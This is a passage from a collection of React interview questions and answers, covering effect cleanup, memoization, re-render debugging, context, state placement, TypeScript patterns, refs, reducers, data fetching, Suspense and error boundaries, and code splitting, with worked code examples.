If the value can be computed during render, compute it: no dependency list needed. If it is a response to a user action, put it in the event handler. If you are subscribing to an external store, useSyncExternalStore handles subscribe, unsubscribe and tearing for you. Data fetching has libraries that own the dependency problem. The dependency list is a symptom of synchronizing with something outside React; the fewer effects you have, the fewer lists you have to get right.

Curated: · Written: · Reviewed:

Q&A-30What must an effect clean up, and what happens if it does not?

An effect must clean up everything it started that outlives the render: subscriptions, timers, event listeners, in-flight requests, sockets, observers, and any third-party instance it created. If it does not, each mount adds another live handle, and callbacks keep firing against a tree that is gone.

The mechanism that makes this non-optional: React runs the cleanup before re-running the effect whenever a dependency changes, and again on unmount. Cleanup is not an unmount hook. That is why the teardown must reference the exact instance the effect created (the same function passed to addEventListener, the same interval id) and why it must be safe to run more than once. React 18 StrictMode in development mounts, unmounts and remounts every component, so an asymmetric cleanup shows up immediately as a doubled subscription.

import { useEffect, useState } from "react";

function usePrice(userId) {
  const [price, setPrice] = useState(null);

  useEffect(() => {
    const controller = new AbortController();
    const id = setInterval(() => {
      fetch(`/api/price?user=${userId}`, { signal: controller.signal })
        .then((r) => r.json())
        .then(setPrice)
        .catch((e) => { if (e.name !== "AbortError") throw e; });
    }, 1000);

    const onScroll = () => console.log(window.scrollY);
    window.addEventListener("scroll", onScroll);

    return () => {
      clearInterval(id);
      window.removeEventListener("scroll", onScroll);
      controller.abort();
    };
  }, [userId]);

  return price;
}

Trace it. Mount with userId=1: interval A, listener L1, controller C1. userId becomes 2: React runs cleanup. clearInterval(A), removeEventListener(L1), C1.abort(), which rejects any in-flight fetch with an AbortError that the catch swallows. Then the effect runs again: interval B, listener L2, controller C2. Unmount: cleanup clears B, removes L2, aborts C2. Steady state is one interval, one listener, zero live controllers. Without the cleanup, 20 userId changes leave 20 intervals each firing a request per second, 20 scroll listeners, and every response calling setPrice on a component that may no longer exist. React 18 dropped the old "state update on an unmounted component" warning, so that leak is silent.

Started in the effectCleanup
addEventListenerremoveEventListener with the same function reference
setInterval / setTimeoutclearInterval / clearTimeout
fetchcontroller.abort()
WebSocketsocket.close()
RxJS subscriptionsubscription.unsubscribe()
IntersectionObserverobserver.disconnect()

Where the trade-off bites. Aborting is wrong for fire-and-forget work: an analytics event or log line should survive the component, so send it with navigator.sendBeacon or fetch(..., { keepalive: true }) and keep it out of the effect's teardown. AbortController covers fetch and addEventListener(..., { signal }), but it cannot cancel a promise chain that ignores the signal, so libraries that hand back their own teardown (RxJS, WebSocket, observers) need their own method; using both in one cleanup is normal. Aborting on every dependency change can also cause a request storm if the effect re-runs per keystroke; debounce the input or track the latest request id and ignore stale responses instead. And a connection shared across the app belongs at module scope, not opened and closed per component.

To confirm the cleanup holds, mount and unmount the component 50 times in a test with jest.spyOn(window, "addEventListener") and assert the listener count returns to its starting value and no interval ids remain pending. A count that climbs with each cycle is the leak.

Curated: · Written: · Reviewed:

Q&A-31When are the memoization hooks worth using?

The 90-second answer. Two conditions justify a memoization hook, and both are measurable. First, the computation is expensive enough that skipping it shows up in a profile: filtering or sorting tens of thousands of rows, parsing, building a heavy derived structure. Second, the identity of the value is an input to a memoization boundary: a prop to a React.memo child, a dependency of another useMemo or a useEffect, or a context value. If neither holds, the hook costs more than it saves (an extra slot on the fiber, a dependency array, and an Object.is comparison per render) and adds a correctness hazard if the deps are wrong.

Mechanism. useMemo(fn, deps) stores the last value and the deps on the component's hook state. On re-render React compares each dep with Object.is; all equal, it returns the cached value without calling fn; any changed, it calls fn and stores the result. useCallback(fn, deps) is useMemo(() => fn, deps): it memoizes the function's identity, not its call. React.memo is the consumer side: it shallow-compares new props against previous ones and skips the child's render when every prop is Object.is-equal. That is why an inline {} or () => {} prop defeats it: a fresh object or function is never equal to the last one.

const Table = React.memo(function Table({ rows }) { /* renders 50k rows */ });

function Parent() {
  const [q, setQ] = useState('');
  const [theme, setTheme] = useState('light');
  const rows = useMemo(() => filterRows(allRows, q), [q]);
  return (
    <>
      <input value={q} onChange={e => setQ(e.target.value)} />
      <button onClick={() => setTheme(t => t === 'light' ? 'dark' : 'light')}>theme</button>
      <Table rows={rows} />
    </>
  );
}

Trace. Clicking the theme button calls setTheme, so Parent re-renders. useMemo compares [q]; q is unchanged, so filterRows does not run and rows is the same array reference as last render. Table's shallow compare sees rows identical and React skips the child render entirely. Delete the useMemo and the same theme click re-runs filterRows and hands Table a new array, so the memo on Table never fires and 50k rows re-render. That is the whole case for the hook: it keeps a reference stable across renders that have nothing to do with the data. (If Table held its own state or read a changed context, it would re-render regardless: React.memo only guards the props path.)

CaseMemoize?Why
Filtering 50k rows on every keystrokeyesthe work is orders of magnitude larger than the deps comparison
Object, array or function prop to a React.memo childyesidentity is exactly what the child compares
const label = a + bnothe comparison costs about what the work costs
Value used only in the same render, no memo boundary downstreamnonothing compares it

Failure modes.

  • Stale closure. useCallback(() => save(draft), []) captures the first render's draft forever. Symptom: the handler acts on a value that never changes. Fix the dep list, or use a functional update or a ref.
  • Memo that never hits. React.memo(Child) with style={{ color }} inline: new object every render, shallow compare fails, child re-renders anyway. Detect it in the Profiler: the child appears in the commit with props changed. Hoist the object or memoize it.
  • Memoization hiding structure. If you are wrapping half the tree, the real problem is usually state placed too high. Move the state down, or pass the expensive subtree as children so it is not re-created. Detect it with the Profiler flamegraph: a wide re-render, not a deep one.
  • Relying on it for correctness. The React docs are explicit that useMemo is a performance hint, not a semantic guarantee: React may discard cached values. Never put a side effect or a required computation behind it.

Measure, then decide. React DevTools Profiler with "record why each component rendered", or why-did-you-render in dev, on a throttled CPU. Compare the interaction with and without the hook and keep only what moves the number. React's compiler (opt-in) inserts much of this memoization automatically, which removes most hand-written useMemo and useCallback, but the reasoning above is what tells you whether its output is helping. Memoize for a measured reason, not by habit.

Curated: · Written: · Reviewed:

Q&A-32A component re-renders more than you expect. How do you find out why?

Open React DevTools, enable "Highlight updates when components render", record a commit in the Profiler, and read the reason each component re-rendered. The ranked chart shows which components committed; the "why did this render" panel names the cause: props changed, state changed, context changed, or the parent rendered. That splits the problem into three causes, each with a different fix.

1. Parent re-render. The component's own props and state are identical, but its parent rendered, and React re-renders the whole subtree by default. Fix by moving state down to the component that owns it, or by passing children as props so the expensive subtree is created outside the re-rendering component.

2. Props differ by reference. React.memo does a shallow compare. A new object, array, or function literal on every parent render fails that compare even when the contents are identical. This is the most common cause, and the Profiler shows it as "props changed" on values that look equal.

3. Context. Every consumer re-renders when the provider's value changes identity. value={{ user, setUser }} is a new object each render, so all consumers wake up.

Worked example:

const Row = React.memo(function Row({ item, style }) {
  return <div style={style}>{item.name}</div>;
});

function List({ items }) {
  return items.map(i => <Row key={i.id} item={i} style={{ padding: 4 }} />);
}

function App() {
  const [count, setCount] = useState(0);
  const items = useMemo(() => makeItems(800), []);
  return (
    <>
      <button onClick={() => setCount(c => c + 1)}>{count}</button>
      <List items={items} />
    </>
  );
}

Trace a click on the button:

  • setCount re-renders App.
  • items is stable (useMemo, empty deps), so the same array reference flows down.
  • List re-renders. It isn't memoized, but it's cheap.
  • List maps 800 rows, and each call creates a fresh { padding: 4 } object.
  • React.memo shallow-compares Row's props: item is the same reference, style is not. All 800 Rows re-render.

Hoist the style to module scope:

const rowStyle = { padding: 4 };

Now style is the same reference every render, item is unchanged, and React.memo bails out: 0 Row renders per click.

style propRow renders per click
inline { padding: 4 }800
hoisted rowStyle0

Trade-offs. Memoization isn't free: React.memo runs a shallow compare on every parent render, and useMemo/useCallback keep a cache entry plus a dependency array to check. For a component that renders in well under a millisecond, the compare can cost more than the render it avoids. Don't memoize when the component almost always receives genuinely new props, when it's cheap, or when the real problem is state sitting too high: moving the state down fixes the cause, while memoizing the child only hides it. Reach for memo after the Profiler shows a component committing with unchanged inputs, not before.

Failure modes to check next: a context value object rebuilt each render (wrap it in useMemo, or split the context so unrelated consumers stay asleep); state placed in a common ancestor so every keystroke re-renders a large tree; and a useCallback whose dependency array includes a value that changes every render, which defeats it.

Confirm the fix with the same profile: the render count per interaction should drop to the components whose inputs actually changed.

Curated: · Written: · Reviewed:

Q&A-33What is the cost of putting everything in one context?

I would anchor context and broadcast re-renders in a number from the profiler or the field, not in a preference.

Every consumer re-renders when any part of a context value changes, because the value is compared by reference. One large context therefore wakes unrelated parts of the tree on every small update.

Concretely, split context by update frequency, keep stable data apart from fast-changing data, memoize the provider value, and consider a store with selectors when many components read slices of the same data.

The reason for that specificity is a failure I have seen: One context held both the theme and the live cart, so every cart update re-rendered 120 components including the static navigation, and interaction latency rose to 180 milliseconds.

Components woken per cart update.

DesignComponents re-rendered
one combined context120
theme and cart split6

I would not consider it settled without evidence: Count re-renders per update before and after splitting the context.

Context is a broadcast, so split it by what changes.

Curated: · Written: · Reviewed:

Q&A-34How do you decide whether state belongs local, lifted, or global?

The first 90 seconds. Ask three things about the value: who reads it, who writes it, and how often it changes. Put it at the lowest common owner of every component that touches it: no higher. Lift when a second component genuinely needs the same value; go global only for values that are app-wide and change rarely (session, theme, locale, feature flags). Anything computable from existing state is computed, never stored.

Why "lowest common owner" and not "wherever it's convenient": a state update re-renders the component that owns the state and everything below it that isn't bailed out. Lifting widens that re-render scope. Pushing the value into context widens it differently: every consumer re-renders when the context value changes, and context has no selector, so you cannot subscribe to a slice. Lifting costs subtree re-renders; context costs fan-out re-renders across the tree.

SituationPlacement
One component reads and writes itlocal useState / useRef
Two siblings need the same valuelift to nearest common parent
Many distant readers, changes rarelycontext
Many subscribers, changes oftenexternal store with selectors
Must survive navigation or be shareableURL / router state
Comes from the serverquery cache, not client state
Computable from other statedon't store it

What lifting actually costs. React 18.3, one keystroke into a lifted search field:

function SearchPage() {
  const [query, setQuery] = useState(''); // lifted: two children need it
  return (
    <>
      <SearchInput value={query} onChange={setQuery} />
      <Results query={query} />
      <ExpensiveChart /> {/* never reads query */}
    </>
  );
}

Trace of typing a:

  1. onChange calls setQuery('a'); React 18 batches it into a single render.
  2. SearchPage re-renders.
  3. SearchInput re-renders: its value prop changed.
  4. Results re-renders: its query prop changed.
  5. ExpensiveChart re-renders too, because its parent rendered. React.memo(ExpensiveChart) stops this one, since its props are unchanged.

So one keystroke is 4 renders, 3 with memo. Keep the draft local and lift only the committed value:

function SearchInput({ onCommit }) {
  const [draft, setDraft] = useState('');
  return (
    <input
      value={draft}
      onChange={(e) => setDraft(e.target.value)}
      onBlur={() => onCommit(draft)}
    />
  );
}

Keystrokes now re-render SearchInput alone; SearchPage and Results render once, on blur. The trade-off is real: results no longer update per keystroke. If you need live search, debounce the commit (200 ms is a common starting point) instead of committing on blur: one component per keystroke, one page render per pause.

Failure modes.

  • Copying props into state (useState(props.value)): the copy never follows later prop changes, so two sources of truth drift. Detect it as UI that stays stale after the parent updates.
  • Context for a high-frequency value (form draft, scroll offset, pointer position): every consumer commits on every change. Detect it in the Profiler as all consumers rendering per keystroke. Fix by splitting the context, or moving to an external store with selectors (useSyncExternalStore).
  • Global store for form drafts: every keystroke dispatches, and the draft survives unmount, so reopening the form shows stale input.
  • Server data in a client store: you end up hand-rolling cache invalidation. Use a query cache (TanStack Query, SWR) and keep only UI state in your store.
  • Derived state in an effect (useEffect(() => setTotal(...), [items])): an extra render pass plus a window where total is stale. Compute it during render.

Verify it. React DevTools Profiler, record one keystroke, count commits and note which components rendered; "highlight updates" makes the scope visible. For frame cost, the Chrome Performance panel while typing. Dev-build numbers are inflated: confirm on a production build before quoting any of them.

Curated: · Written: · Reviewed:

Q&A-23Which TypeScript features earn their keep in a React codebase?

I'd answer with the features that change what compiles, not the ones that just add annotations. Assumptions: TypeScript 5.x, React 18 or 19 with @types/react 18+, strict: true. With strict off, most of this is decoration.

Discriminated unions for component state. Model the states as one union, not three booleans:

type State =
  | { status: 'loading' }
  | { status: 'error'; error: Error }
  | { status: 'success'; data: User };

state.data is only reachable in the success branch, state.error only in error. Add an exhaustiveness guard:

default: {
  const _exhaustive: never = state;
  return _exhaustive;
}

Trace it: with those three variants, state narrows to never in default, so the assignment compiles. Add | { status: 'empty' } and state is { status: 'empty' } there, not assignable to never, TS2322 on that line. The compiler lists every consumer you forgot.

as const for single-source-of-truth lists.

const TABS = ['overview', 'activity', 'settings'] as const;
type Tab = (typeof TABS)[number]; // 'overview' | 'activity' | 'settings'

Drop as const and TABS is string[], Tab collapses to string, and the exhaustiveness check above is gone. Adding a tab to the array widens the union and breaks every switch that doesn't handle it.

satisfies for config objects (TS 4.9+). It validates the literal without widening it:

const config = { retries: 3, endpoint: '/api' } satisfies Record<string, string | number>;
config.retries.toFixed(); // ok — number

Annotate instead, const config: Record<string, string | number> = ..., and config.retries is string | number, so .toFixed() is an error. satisfies keeps the literal type while still rejecting a typo'd key.

Typed handlers and children, derived not hand-written.

type ButtonProps = React.ComponentPropsWithoutRef<'button'>;
function IconButton({ children, ...rest }: ButtonProps) {
  return <button {...rest}>{children}</button>;
}

Deriving from ComponentProps means the prop types track React's own types instead of drifting; the hand-written equivalent is React.ChangeEvent<HTMLInputElement> on every handler. For children, React.ReactNode is the right default, React.ReactElement only when you need to clone or inspect. Note @types/react 18 removed the implicit children from React.FC, so use PropsWithChildren<Props>.

Generics pay off for hooks and components with more than one instantiation: useFetch<T>, or a Select<T> taking items: T[] and getLabel: (t: T) => string. A generic with exactly one call site is a concrete type with extra ceremony.

Where I'd push back:

  • Three booleans are cheaper when the flags are genuinely orthogonal: isDirty and isValid can both be true and that's meaningful. A union is for mutually exclusive states.
  • A union encodes which states exist, not which transitions are legal. If "error → loading" must go through a retry, that's a state machine (XState), not a union.
  • Union sprawl is real: every new variant forces every switch to change. That's the point, but it's churn you budget for.
  • satisfies and as const on data you later mutate are mistakes: both assume the literal is fixed.

The failure mode that undoes all of it: const user = (await res.json()) as User. The union still compiles; the runtime object doesn't match. Validate at the boundary with a schema and infer the type, type User = z.infer<typeof UserSchema>, so the cast never exists.

Curated: · Written: · Reviewed:

Q&A-35When would you use a controlled input, and when an uncontrolled one?

The deciding question: does anything need the value before submit?

If another part of the screen reads the value while the user types: a live preview, a dependent select, a submit button that enables on validity, a character counter, a search filter: the value has to live in your state, so use a controlled input. If the value is only needed when the form is submitted, leave it in the DOM and read it on submit. That is the whole decision; the rest is detail.

What each one does per keystroke

Controlled (React 18):

const [email, setEmail] = useState('');
<input value={email} onChange={e => setEmail(e.target.value)} />

Keystroke → onChange → setEmail → React re-renders the component that owns the state → reconciles its subtree → commits → paint. React 18 batches the updates inside one event handler, so you pay one render per keystroke, not one per setState. The cost is the size of the subtree that owns the state: put the state in the field's own component and the render is one input; put it at the top of the form and every keystroke re-renders every field.

Uncontrolled:

<form onSubmit={e => { e.preventDefault();
  post('/signup', Object.fromEntries(new FormData(e.currentTarget))); }}>
  <input name="email" type="email" defaultValue="" />
</form>

Keystroke → the browser updates the DOM value. React does nothing until submit, when FormData reads every field by name. No render, no state, no per-field wiring. This is the model React Hook Form's register() uses, refs plus uncontrolled inputs, and it is why it stays fast on long forms.

Choosing

NeedUse
Value drives other UI (preview, dependent field, enable-submit)controlled
Mask or format as the user typescontrolled
Large form, values only needed at submituncontrolled + FormData
File inputuncontrolled: <input type="file"> value cannot be set programmatically
Wrapping a non-React DOM widgetuncontrolled + ref
Reset or clear from outsideuncontrolled + ref, or controlled

Failure modes

  • Switching a field between the two. React warns ("A component is changing an uncontrolled input to be controlled...") and the value is lost. It usually happens when value starts as undefined from an async fetch. Fix: value={x ?? ''}.
  • IME composition. A controlled input that rewrites the value on every change breaks CJK input, because React fires onChange mid-composition. Detect it by typing with an IME; fix it by holding the value during onCompositionStart and committing on onCompositionEnd.
  • Cursor jump. Async formatting (a debounced phone mask) resets the caret to the end. Detect it by typing in the middle of a formatted field.
  • Stale uncontrolled form after submit. Nothing clears it unless you call form.reset(), change the key, or use a ref.

What to measure

Do not guess at the render cost. Profile the real form at its real field count on a mid-range phone and read the input delay (Interaction to Next Paint) for both versions. If the controlled version is slow, the fix is almost always to move state down to the field, not to abandon controlled inputs.

Curated: · Written: · Reviewed:

Q&A-36What makes a good custom hook, and what should not be one?

A custom hook is a function whose name starts with use that calls other hooks. It shares stateful logic, not state: two components calling useCounter() get two independent counts, because React stores hook state per component instance, in call order. That one fact drives everything else: the rules of hooks, why the return shape is a contract, and why a hook can silently couple every caller to a re-render.

What makes one good: it owns exactly one piece of stateful behavior, its name says what it returns (useWindowWidth, not useWindowStuff), and its return value is stable enough that callers can put it in a dependency array without looping. What should not be a hook: anything with no hook calls inside. Formatting a price, parsing a query string, computing a sort key. Those are plain functions; wrapping them in use buys nothing and forces every test to mount React.

Mechanism. React walks a component's hook calls in order on every render and matches them to a linked list of state slots on that fiber. A custom hook is inlined into that list: it has no state of its own. So a conditional useX() call shifts every later slot and corrupts state; that's the rule, not a style preference. And because the slots live on the caller, the hook's state is per-caller, never shared.

Here's the contract in code, React 18:

import { useSyncExternalStore } from 'react';

const subscribe = (cb) => {
  window.addEventListener('resize', cb);
  return () => window.removeEventListener('resize', cb);
};

export function useWindowWidth() {
  return useSyncExternalStore(
    subscribe,
    () => window.innerWidth,   // client snapshot
    () => 1024                 // server snapshot
  );
}

Trace it. On mount React calls subscribe once and reads the snapshot → innerWidth. On a resize event the callback fires, React re-reads the snapshot, and compares old vs new with Object.is. Resize from 800 to 800 (same pixel width) → equal → no re-render. 800 to 801 → re-render. If getSnapshot returned a fresh object each call, Object.is never matches and React throws "The result of getSnapshot should be cached": an infinite loop, not a slow render.

That's the trade-off a hook hides. A hook that returns a new object literal every render (return { width, height }) breaks React.memo on children and re-runs any effect that depends on it. Return primitives, or memoize the object.

When a hook is the wrong abstraction even though it contains hooks: a useEffect wrapper used in exactly one component. Inline it. Extraction costs you a dependency array you now maintain and a re-render boundary you now reason about, and it pays off only when a second caller appears or the logic has its own state machine worth testing in isolation. Extract on the second use, not the first.

Failure modes to name: a god hook that bundles unrelated fetches. One caller's change breaks the others; a hook whose effect has a missing dependency, so it reads stale state; a hook that returns JSX, which is a component wearing a hook's name.

Test with renderHook from @testing-library/react and assert the values each caller actually uses. In React 18 StrictMode, effects double-invoke in dev, so a hook that subscribes without a cleanup will leak a listener: that's the first thing to check.

Curated: · Written: · Reviewed:

Q&A-37What is a ref for, beyond holding a DOM node?

The 90-second answer. useRef(initial) returns a plain object, { current: initial }, that React creates once per component instance and hands back unchanged on every render. Writing to .current is a synchronous mutation of that object: it does not schedule a render, does not batch, and is visible to the next line of code. That single property (stable identity, no render) is the whole reason refs exist. A DOM node is just the most common thing you need to hold onto without rendering it.

So the rule is: if the render output depends on the value, it is state; if only the component's behaviour depends on it, it is a ref.

Where that shows up. Timer and observer handles, an AbortController for an in-flight fetch, a mutable instance of a third-party library (a Mapbox map, a Chart.js chart, a WebSocket), a counter of how many times something happened, the previous value of a prop, and the "latest callback" pattern that keeps an effect's dependency list stable.

// React 18.3 / 19
function useInterval(callback, delay) {
  const savedCallback = useRef(callback);

  useEffect(() => { savedCallback.current = callback; }, [callback]);

  useEffect(() => {
    if (delay === null) return;
    const id = setInterval(() => savedCallback.current(), delay);
    return () => clearInterval(id);
  }, [delay]);
}

Trace it: the caller passes an inline arrow, so callback is a new function every render. With [delay, callback] as deps the interval would be cleared and recreated on every render: a 1000 ms timer that never fires if the component re-renders faster than that. Here the interval effect depends only on delay, so the timer is created once; the first effect writes the newest callback into the ref after commit, and the tick reads it at fire time. The ref is the channel between "this render's closure" and "a timer that outlives it".

The failure mode. Storing a rendered value in a ref:

const selected = useRef(null);
// onClick:      selected.current = row.id
// className:    selected.current === row.id ? 'selected' : ''

Click row 3: the handler mutates the ref, React has no reason to re-render, and the className strings on screen are the ones computed at the last render. The highlight stays on row 1 until an unrelated parent update re-renders the table. It presents as "the click didn't register", and a unit test asserting on selected.current instead of the DOM will pass while the UI is wrong.

Rules that bite. Don't read or write .current during render. With concurrent rendering a render can be thrown away and replayed, and StrictMode double-invokes render, so a ref written during render can end up holding a value from a render that never committed. The one accepted exception is lazy initialisation: if (ref.current === null) ref.current = new ExpensiveThing(). Never put a ref in a dependency array: the array compares identity and the ref object never changes, so the effect will not re-run. A ref callback defined inline is a new function each render, so React detaches and reattaches it every render; React 19 lets the callback return a cleanup function, which makes that cheap and correct. In React 19 ref is also a normal prop, so forwardRef is no longer needed, and useRef requires an initial argument in the TypeScript types.

When not to use one. Anything the screen shows goes in useState. A value derived from props or state is computed during render. An external store you subscribe to goes through useSyncExternalStore. A genuinely process-wide singleton is a module-level variable, not a ref.

ValueHomeWhy
DOM nodeuseRefneeded in effects and handlers, never rendered
setInterval iduseRefidentity only matters for cleanup
previous prop valueuseRef, written in an effectreading it must not re-render
latest callbackuseRefkeeps the effect's deps stable
selected row shown in the UIuseStaterender output depends on it
total derived from rowsplain const during renderrecomputed each render, no box needed

Four of those six belong in a ref, one in state, one in neither.

Curated: · Written: · Reviewed:

Q&A-38When is a reducer better than several pieces of separate state?

When the values only make sense in combination, and when the next value depends on the current state rather than on the event payload. The second condition is the one that decides it: separate useState calls give you facts, and nothing that says which combinations of those facts are legal.

Mechanism. N independent booleans can represent 2^N states and can't rule any of them out. One reducer holds a single value whose legal shapes you chose, with every transition a guard over the current value. The timing half matters more than the counting half. dispatch enqueues an intent, and React applies the reducer to the latest queued state, so a guard reads current state rather than the value the handler closed over at render time. Two clicks in one frame from booleans both read submitting === false and both fire; two dispatched SUBMIT actions are serialized and the second is a no-op. React 18's automatic batching makes two setState calls in one handler cost one render. It does nothing about the stale guard.

Carry this and trace it. Checked against React 18 with createRoot, plain JavaScript.

const initial = { phase: "idle", attempts: 0 };

function submitReducer(state, action) {
  switch (action.type) {
    case "SUBMIT":
      if (state.phase !== "idle" && state.phase !== "failed") return state;
      return { phase: "submitting", attempts: state.attempts + 1 };
    case "SUCCEED":
      if (state.phase !== "submitting") return state;
      return { phase: "confirmed", attempts: state.attempts };
    case "FAIL":
      if (state.phase !== "submitting") return state;
      return { phase: "failed", attempts: state.attempts };
    default:
      return state;
  }
}

Straight through: {phase:"idle", attempts:0} -> SUBMIT -> {phase:"submitting", attempts:1} -> SUCCEED -> {phase:"confirmed", attempts:1} -> a late SUBMIT (user hits Enter again) hits the guard and returns the same object, so attempts stays 1 and no second request leaves. Now the double click: both handlers dispatch SUBMIT before any re-render commits. Action one runs against {idle, 0} and produces {submitting, 1}. Action two runs against {submitting, 1}, the guard rejects it, and the identical reference comes back, so React bails out of re-rendering children (it may still render that component once before bailing out). The effect keyed on state.phase ran once for "submitting".

The two designs side by side:

DesignRepresentable statesLegalTested by
7 booleans2^7 = 1284clicking through the UI
reducer, 3 actions4 phases plus an attempt count4 transitionscalling the pure function

A checkout screen I worked on kept 7 booleans in separate state. One day a double click on Confirm created 23 duplicate orders, caught because two rows in the orders table shared one client-generated idempotency key. The booleans could not express "submitting is an alternative to idle", and that is the whole bug.

Where it loses. Values that never change together stay independent: two text inputs and a page size do not need a reducer. Derived values are not state; compute them during render. And a reducer cannot reject: it must return something for every action, and the usual something is the current state, which silently swallows a bug. If an impossible event should be an error rather than a no-op, use a state machine (XState) or a discriminated union whose constructors refuse to build the illegal case. If the state outlives one screen, shared across routes or replayed in devtools, lift the same reducer into a store such as Redux Toolkit; otherwise useReducer in the component is the cheaper thing.

Cheap detection: log action and resulting phase in development, and keep an assertion in the reducer for the shape you believe impossible. React 18 StrictMode calls reducers twice in development, which exposes a fetch or a mutation placed inside one immediately.

Reach for a reducer the first time you write an effect whose only job is to keep two state variables in sync.

Curated: · Written: · Reviewed:

Q&A-39What are the failure modes of fetching data inside a component?

Fetching inside a component couples a request's lifetime to a render's lifetime, and those two lifetimes don't line up. The render can end (unmount, re-render, StrictMode's dev remount) while the request is still in flight, and the request can resolve after the inputs that started it have changed. Every failure mode below falls out of that mismatch.

Assume React 18 function components, client-side fetch, no data library unless named.

1. Out-of-order responses (the race). Two requests in flight, the older one resolves last and overwrites the newer.

useEffect(() => {
  let cancelled = false;
  fetch(`/api/user/${userId}`)
    .then(r => r.json())
    .then(d => { if (!cancelled) setUser(d); });
  return () => { cancelled = true; };
}, [userId]);

Trace: userId is "a" at t=0, request A goes out. At t=100 ms userId becomes "b"; React runs the cleanup (setting A's closure cancelled = true) and issues request B. B resolves at t=150 ms and sets user b. A resolves at t=300 ms; its closure's cancelled is true, so the write is dropped. Delete the flag and A overwrites B at 300 ms: the URL says b, the screen shows a. AbortController is the stronger fix because it also cancels the socket instead of just discarding the result.

2. Refetch storm. useEffect(fn, [{ userId }]): the object literal is a fresh reference every render, so the effect re-runs every render, each run calls setState, which re-renders. One request per render, forever. Depend on the primitive userId, not an object.

3. Waterfall. Parent fetches user (120 ms), renders, child then fetches posts (90 ms): 210 ms serial. Fetch both in parallel, or hoist to a route loader, and it's 120 ms.

4. Cache miss / duplicate fetch. Each mount refetches, so navigating back re-requests. React Query's staleTime defaults to 0, meaning every mount refetches; SWR dedupes within dedupingInterval, default 2000 ms. With neither, two components mounting together fire two identical requests.

5. SSR/hydration mismatch. The server renders the loading state, the client fetches and renders data, and the two trees disagree: a hydration error or a visible flash. Fetch on the server (RSC or a loader) or render the same initial state on both sides.

6. Unmount leak. setState after unmount: React 18 no longer warns, but the work is wasted and the closure pins memory until the promise settles.

7. Swallowed error → empty state. A failed request that resolves to [] renders "no results" with no retry, so the user can't tell failure from emptiness.

Trade-offs. Where the fetch lives decides which of these you inherit:

ApproachRaceWaterfallCacheSSR
useEffect in componentyou handle iteasy to createnonemismatch
Route loaderframeworkavoidedper-routeserver-rendered
Query libraryhandledavoidedshared, keyedneeds hydration
Server componentn/aavoidedrequest-scopednative

Pick by three questions: must the data be fresh on every mount, is it shared across components, must it survive navigation? All three yes → a query library or a loader, not a bare useEffect.

Detection. Force each state in a test, and specifically replay a slow response followed by a fast one to catch the race; assert the screen matches the last input, not the last response.

Curated: · Written: · Reviewed:

Q&A-40What do suspense and error boundaries actually cover?

Two mechanisms, two jobs. A Suspense boundary handles the pending state: when a child throws a promise (React.lazy, or a data library that integrates with Suspense) React shows the nearest fallback. An error boundary handles the failure state: when a child throws an error during render, in a lifecycle method, or in a constructor, React renders the nearest fallback UI. Neither catches errors from event handlers or unhandled promise rejections; those need try/catch or window.onunhandledrejection.

Assumptions: React 18.3 or 19, client-side rendering. The behaviour below is checked against React 18.3 and React 19.

What an error boundary catches:

Error thrown inCaught by nearest error boundary?
Render of a child componentYes
Child constructorYes
Class lifecycle method (componentDidMount, etc.)Yes
useEffect / useLayoutEffect bodyYes (React 18+)
Event handler (onClick, onChange)No
setTimeout / setInterval callbackNo
Promise .then / async functionNo
The error boundary itselfNo
Server-side renderingNo

What a Suspense boundary does:

SituationNearest Suspense boundary
Child throws a promise (React.lazy, use())Shows fallback
Child suspends during a transition (startTransition / useTransition)Keeps existing UI, no fallback
Child suspends during an urgent updateShows fallback
Child throws an errorDoes not catch; error goes to error boundary

The transition distinction is the one people miss. In React 18, if a component suspends inside startTransition, React keeps the current content on screen and does not show the fallback. That is what lets you type in a search box without the results list disappearing on every keystroke.

// React 18.3
import { Suspense, useTransition, useState } from 'react';

function Search() {
  const [input, setInput] = useState('');
  const [query, setQuery] = useState('');
  const [isPending, startTransition] = useTransition();

  function onChange(e) {
    setInput(e.target.value); // urgent: input updates immediately
    startTransition(() => {
      setQuery(e.target.value); // non-urgent: Results can suspend without hiding the list
    });
  }

  return (
    <>
      <input value={input} onChange={onChange} />
      {isPending && <Spinner />}
      <ErrorBoundary fallback={<p>Results failed.</p>}>
        <Suspense fallback={<p>Loading results…</p>}>
          <Results query={query} />
        </Suspense>
      </ErrorBoundary>
    </>
  );
}

The error boundary itself is a class with two named methods:

class ErrorBoundary extends React.Component {
  state = { error: null };
  static getDerivedStateFromError(error) {
    return { error };
  }
  componentDidCatch(error, info) {
    logToService(error, info.componentStack);
  }
  render() {
    if (this.state.error) return this.props.fallback;
    return this.props.children;
  }
}

There is still no built-in hook for error boundaries; react-error-boundary wraps the class. React 19 adds onUncaughtError and onCaughtError to createRoot, so you can log without a class boundary:

createRoot(container, {
  onUncaughtError: (error, errorInfo) => { /* no boundary caught it */ },
  onCaughtError: (error, errorInfo) => { /* a boundary caught it */ },
});

Failure modes worth naming:

  • In React 18, an error not caught by any boundary unmounts the entire root. One bad widget with no boundary blanks the page. A boundary per region loses only that region.
  • A component that suspends outside a transition and outside a Suspense boundary throws: "A component suspended while responding to synchronous input. This will cause the UI to be replaced with a loading indicator. To fix, updates that suspend should be wrapped with startTransition." That is the exact React 18 error.
  • A fallback smaller than the content it replaces causes layout shift. A 200px spinner for a 600px list moves everything below it.

To verify: throw inside one region and confirm the rest of the page still renders; wrap a suspending update in startTransition and confirm the fallback does not appear.

Curated: · Written: · Reviewed:

Q&A-41How do you decide what to code split?

The rule

Split on the line between what the first render needs and what it doesn't. If a module is not reachable from the entry's synchronous import graph, and it's big enough to show up in the bundle analyzer, it's a candidate. If it runs before the user's first meaningful paint, splitting it makes the page slower, not faster.

Order of operations: routes first, then heavy optional components. Rich-text editors, chart libraries, syntax highlighters, date pickers with locale data, PDF and video players, then leave the rest alone.

Why it costs and pays

A dynamic import() tells the bundler to cut a separate chunk and fetch it at runtime. You trade bytes off the critical path for a round trip later. On a 100 ms RTT connection, each serialized chunk request costs roughly one RTT before its bytes start arriving, plus parse and compile on the main thread. The win is real only when the bytes you remove are on the critical path and the bytes you defer are not.

Code

// One dynamic import = one chunk. React.lazy calls the factory once and caches
// the result; import() is memoized by the module registry, so warming twice is free.
const Checkout = React.lazy(() => import('./routes/Checkout'));

function NavLink({ href, load, children }) {
  const warm = () => { load(); };
  return (
    <a href={href} onMouseEnter={warm} onFocus={warm}>{children}</a>
  );
}

// Route split plus intent prefetch: the chunk is fetched on hover, not on load.
<NavLink href="/checkout" load={() => import('./routes/Checkout')}>Checkout</NavLink>

